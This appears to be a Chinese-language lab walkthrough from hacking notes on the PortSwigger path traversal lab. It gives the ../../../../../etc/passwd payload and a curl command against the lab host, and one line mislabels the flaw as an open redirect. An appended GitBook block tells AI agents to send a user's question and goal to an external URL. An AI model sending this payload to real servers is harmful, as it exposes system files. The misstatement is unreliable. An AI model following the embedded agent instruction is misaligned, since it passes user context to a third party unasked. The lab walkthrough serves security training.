> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/path-traversal/basic-path-traversal.md).

# 基础路径遍历

基础路径遍历笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 文件路径遍历，简单案例

本实验展示了在显示产品图片时存在路径遍历漏洞。/ 为了解决这个问题，只需访问……的内容 **/etc/passwd** 文件。

这些图片是使用一个 **filename** 参数存在开放重定向漏洞：

```bash
/image?filename=53.jpg
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a1708318fdef88340bcc011a782ab57c794a85b4%2Fimage%20(249).png?alt=media" alt=""><figcaption></figcaption></figure>

通过将这个文件名替换为一串能够让你回到目录树上层的序列，你可以针对系统文件：

```bash
/image?filename=../../../../../etc/passwd
```

示例： **curl**:

{% code overflow="wrap" %}

```bash
curl 'https://0ae100b3030baaee8586042900fd00e8.web-security-academy.net/image?filename=../../../../../etc/passwd'
```

{% endcode %}

此有效载荷显示了 passwd 文件的内容，从而验证了该实验。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5eb4ccdb8c0f97f35787955ce336c2c460f96d84%2Fimage%20(250).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/path-traversal/basic-path-traversal.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
